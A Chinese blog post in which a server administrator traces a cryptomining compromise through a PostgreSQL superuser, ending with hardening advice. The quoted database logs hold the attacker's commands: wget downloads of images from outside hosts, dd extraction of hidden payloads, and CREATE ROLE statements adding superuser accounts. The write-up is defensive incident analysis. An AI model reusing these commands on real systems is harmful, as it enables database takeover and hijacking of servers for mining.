背景
今天下午连续收到了腾讯云 CPU overload 报警
CPU Overload.png
登服务器一看, 有个 postgres 账户跑的进程 ./Ac2p018-0 把 CPU 占满了，进程名特别奇怪。
Htop info
排查
于是根据 pid 到 /proc/20619/stack 下看到有一长串的
[<ffffffff81841ff2>] entry_SYSCALL_64_fastpath+0x16/0x71
似乎短时间里发起大量的系统调用(prepare)并且还在不断增长。
接着 cat /proc/20619/cmdline 发现执行的是 /var/lib/postgresql/9.5/main/Ac2p018-0 这个坏家伙，查看发现这是个二进制文件，看不出问题，猜测和 postgresql 数据库有关，看起来不像是什么数据库维护脚本，第一反应是被数据库攻击了，于是查看 /var/lib/postgresql/.bash_history 和 /var/lib/postgresql/.psql_history 发现一条记录都没，显然是被手动清空了，更加确定是被 hack 了。担心已经被拿到 root 权限了，于是通过 lastlog 和 last 查看登录状态，所幸之前的 root 账户的 ip 都是我自己的，只有 postgres 这个账户看起来异常。
接着到 /var/lib/postgresql/9.5/main/pg_log 下查看数据库日志，抓到了几个奇怪的地方：
- 有一个长连接持续从
http://aluka.info/x6下载文件，
5144 --2018-08-11 15:47:30-- http://aluka.info/x6
5145 Resolving aluka.info (aluka.info)... 103.27.110.206
5146 Connecting to aluka.info (aluka.info)|103.27.110.206|:80... connected.
5147 HTTP request sent, awaiting response... 200 OK
5148 Length: 2758655 (2.6M)
5149 Saving to: ‘xmm’
5150
5151 0K .......... .......... .......... .......... .......... 1% 399K 7s
5152 50K .......... .......... .......... .......... .......... 3% 601K 5s
5153 100K .......... .......... .......... .......... .......... 5% 592K 5s
5154 150K .......... .......... .......... .......... .......... 7% 1.69M 4s
5155 200K .......... .......... .......... .......... .......... 9% 754K 4s
5156 250K .......... .......... .......... .......... .......... 11% 422K 4s
5157 300K .......... .......... .......... .......... .......... 12% 405K 4s
5158 350K .......... .......... .......... .......... .......... 14% 179K 5s
5159 400K .......... .......... .......... .......... .......... 16% 81.1K 8s
5160 450K .......... .......... .......... .......... .......... 18% 35.1K 13s
5161 500K .......... .......... .......... .......... .......... 20% 117K 13s
5162 550K .......... .......... .......... .......... .......... 22% 86.3K 14s
5163 600K .......... .......... .......... .......... .......... 24% 122K 14s
5164 650K .......... .......... .......... .......... .......... 25% 169K 13s
5165 700K .......... .......... .......... .......... .......... 27% 171K 13s
5166 750K .......... .......... .......... .......... .......... 29% 93.8K 13s
5167 800K .......... .......... .......... .......... .......... 31% 94.9K 13s
5168 850K .......... .......... .......... .......... .......... 33% 101K 13s
5169 900K .......... .......... .......... .......... .......... 35% 53.6K 14s
5170 950K .......... .......... .......... .......... .......... 37% 94.3K 14s
5171 1000K .......... .......... .......... .......... .......... 38% 77.0K 13s
5172 1050K .......... .......... .......... .......... .......... 40% 73.6K 13s
5173 1100K .......... .......... .......... .......... .......... 42% 97.2K 13s
5174 1150K .......... .......... .......... .......... .......... 44% 130K 13s
5175 1200K .......... .......... .......... .......... .......... 46% 194K 12s
5176 1250K .......... .......... .......... .......... .......... 48% 173K 12s
5177 1300K .......... .......... .......... .......... .......... 50% 109K 11s
5178 1350K .......... .......... .......... .......... .......... 51% 82.9K 11s
5179 1400K .......... .......... .......... .......... .......... 53% 134K 10s
5180 1450K .......... .......... .......... .......... .......... 55% 106K 10s
5181 1500K .......... .......... .......... .......... .......... 57% 188K 10s
5182 1550K .......... .......... .......... .......... .......... 59% 51.4K 9s
5183 1600K .......... .......... .......... .......... .......... 61% 54.6K 9s
5184 1650K .......... .......... .......... .......... .......... 63% 86.8K 9s
5185 1700K .......... .......... .......... .......... .......... 64% 160K 8s
5186 1750K .......... .......... .......... .......... .......... 66% 97.9K 8s
5187 1800K .......... .......... .......... .......... .......... 68% 153K 8s
5188 1850K .......... .......... .......... .......... .......... 70% 127K 7s
5189 1900K .......... .......... .......... .......... .......... 72% 117K 7s
5190 1950K .......... .......... .......... .......... .......... 74% 63.8K 6s
5191 2000K .......... .......... .......... .......... .......... 76% 119K 6s
5192 2050K .......... .......... .......... .......... .......... 77% 67.1K 5s
5193 2100K .......... .......... .......... .......... .......... 79% 98.0K 5s
5194 2150K .......... .......... .......... .......... .......... 81% 127K 5s
5195 2200K .......... .......... .......... .......... .......... 83% 105K 4s
5196 2250K .......... .......... .......... .......... .......... 85% 99.6K 4s
5197 2300K .......... .......... .......... .......... .......... 87% 76.9K 3s
5198 2350K .......... .......... .......... .......... .......... 89% 162K 3s
5199 2400K .......... .......... .......... .......... .......... 90% 153K 2s
5200 2450K .......... .......... .......... .......... .......... 92% 239K 2s
5201 2500K .......... .......... .......... .......... .......... 94% 160K 1s
5202 2550K .......... .......... .......... .......... .......... 96% 191K 1s
5203 2600K .......... .......... .......... .......... .......... 98% 118K 0s
5204 2650K .......... .......... .......... .......... ... 100% 82.4K=24s
5205
5206 2018-08-11 15:47:54 (111 KB/s) - ‘xmm’ saved [2758655/2758655]
5207
- 发现更早的日志里，有两个连接从
img1.imagehousing.com下载了两张图片, 并成功设置了 777 权限
23 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b524, ...
24 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
25 HTTP request sent, awaiting response... 200 OK
26 Length: 1571 (1.5K) [image/png]
27 Saving to: ‘./conf1.dat’
28
29 0K . 100% 368M=0s
30
31 2018-08-05 12:54:26 (368 MB/s) - ‘./conf1.dat’ saved [1571/1571]
32
33 896+0 records in
34 896+0 records out
35 896 bytes copied, 0.000933778 s, 960 kB/s
36 chmod: cannot access './x4064410502': No such file or directory
37 2018-08-05 12:54:26 CST [24806-14] pgsql@postgres LOG: duration: 810.107 ms statement: select fun6404402637 ('wget -c http://img1.imagehousing.com/0/baby-942650.png -O ./conf1.dat;dd skip=675 bs=1 if=./conf1.dat of=config.json ;rm -f ./conf1#
38 --2018-08-05 12:54:27-- http://img1.imagehousing.com/0/cat-497532.png
39 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b424, ...
40 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
41 HTTP request sent, awaiting response... 200 OK
42 Length: 840464 (821K) [image/png]
43 Saving to: ‘ifzsvasg.jpg’
44
45 0K .......... .......... .......... .......... .......... 6% 81.3K 9s
46 50K .......... .......... .......... .......... .......... 12% 153K 7s
47 100K .......... .......... .......... .......... .......... 18% 86.2K 7s
48 150K .......... .......... .......... .......... .......... 24% 635K 5s
49 200K .......... .......... .......... .......... .......... 30% 138K 4s
50 250K .......... .......... .......... .......... .......... 36% 139K 4s
51 300K .......... .......... .......... .......... .......... 42% 146K 4s
52 350K .......... .......... .......... .......... .......... 48% 176K 3s
53 400K .......... .......... .......... .......... .......... 54% 194K 3s
54 450K .......... .......... .......... .......... .......... 60% 189K 2s
55 500K .......... .......... .......... .......... .......... 67% 179K 2s
56 550K .......... .......... .......... .......... .......... 73% 178K 1s
57 600K .......... .......... .......... .......... .......... 79% 187K 1s
58 650K .......... .......... .......... .......... .......... 85% 191K 1s
59 700K .......... .......... .......... .......... .......... 91% 132K 0s
60 750K .......... .......... .......... .......... .......... 97% 202K 0s
61 800K .......... .......... 100% 141K=5.3s
62
63 2018-08-05 12:54:33 (154 KB/s) - ‘ifzsvasg.jpg’ saved [840464/840464]
...
不禁很好奇是怎么做到的，但是又不敢把这两张图片 scp 到本地，于是起了个静态文件 serve 看了下这两张图片表面上看起来竟然是斯嘉丽约翰逊的大头照(流口水!)
Scarlett Johansson
印象里面 jpg/jpeg 图片似乎有种隐写 payload 的方法，早年作为葫芦娃种子来传播，网上查到 metaspolit 的这个组件似乎可以实现。同时也找到了这个工具 strgdetext 用来提取图片中的隐写数据，可惜提取出来后仍是一段看不懂二进制码，于是思路阻塞住了。
想到既然需要提取 payload, 那么数据库日志里肯定也有相应代码来做这一步，于是重新翻了下日志，果不其然，发现了真正攻击的这一步在这儿
68 2018-08-05 12:54:34 CST [24806-15] pgsql@postgres LOG: duration: 6705.657 ms statement: select fun6404402637('wget -c http://img1.imagehousing.com/0/cat-497532.png -O ifzsvasg.jpg;dd skip=20656 bs=1 if=./ifzsvasg.jpg of=x4064410502;rm -f ./i#
69 2018-08-05 12:54:34 CST [24845-1] postgres@postgres FATAL: password authentication failed for user "postgres"
70 2018-08-05 12:54:34 CST [24845-2] postgres@postgres DETAIL: Connection matched pg_hba.conf line 101: "host all all 0.0.0.0/0 md5"
71 2018-08-05 12:54:35 CST [24806-16] pgsql@postgres ERROR: role "login" already exists
72 2018-08-05 12:54:35 CST [24806-17] pgsql@postgres STATEMENT: CREATE ROLE LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE REPLICATION VALID UNTIL 'infinity';
73 2018-08-05 12:54:36 CST [24806-18] pgsql@postgres ERROR: role "login" already exists
74 2018-08-05 12:54:36 CST [24806-19] pgsql@postgres STATEMENT: CREATE ROLE LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE VALID UNTIL 'infinity';
75 2018-08-05 12:54:36 CST [24806-21] pgsql@postgres STATEMENT: CREATE ROLE pgsql LOGIN ENCRYPTED PASSWORD 'md56413b16b3d0861a1d2538e8d5a5eb39c' SUPERUSER CREATEDB CREATEROLE VALID UNTIL 'infinity';
通过 select tmp_function(cmd) 的方式 执行了 下载图片 — 提取 paylod — 设置权限 — 删除图片 — 通过 payload 里的自定义代码重建了 pgsql 数据库账户 — 拿到数据库 root 权限 这一套组合拳，漂亮！
排查到问题之后，赶紧清空了相关文件和 dbuser，设置了 postgres superuser 本地连接的设置，禁掉了 superuser 网络连接, 翻了下斯嘉丽约翰逊的其他照片，终于长舒一口气。
回想起来，看看是否有其他人也遇到了「斯嘉丽攻击」, 一查发现果然不只我一人中招，不过看了下 exploit db 里还没记录这个漏洞，对比了下时间，似乎是18年初才兴起的。
这下就弄明白了，之前建的长连接原来是在挖矿。
反思
这次主要的原因是 postgres 配置权限时偷懒导致服务器变成挖矿僵尸。
- postgres
pg_hba.conf里的用户认证 method 应改成 md5 方式 - 数据库 superuser 只配置只能 local 访问禁止远程访问
- 腾讯云安全组里数据库端口 outbound 应尽量限制 ip 段
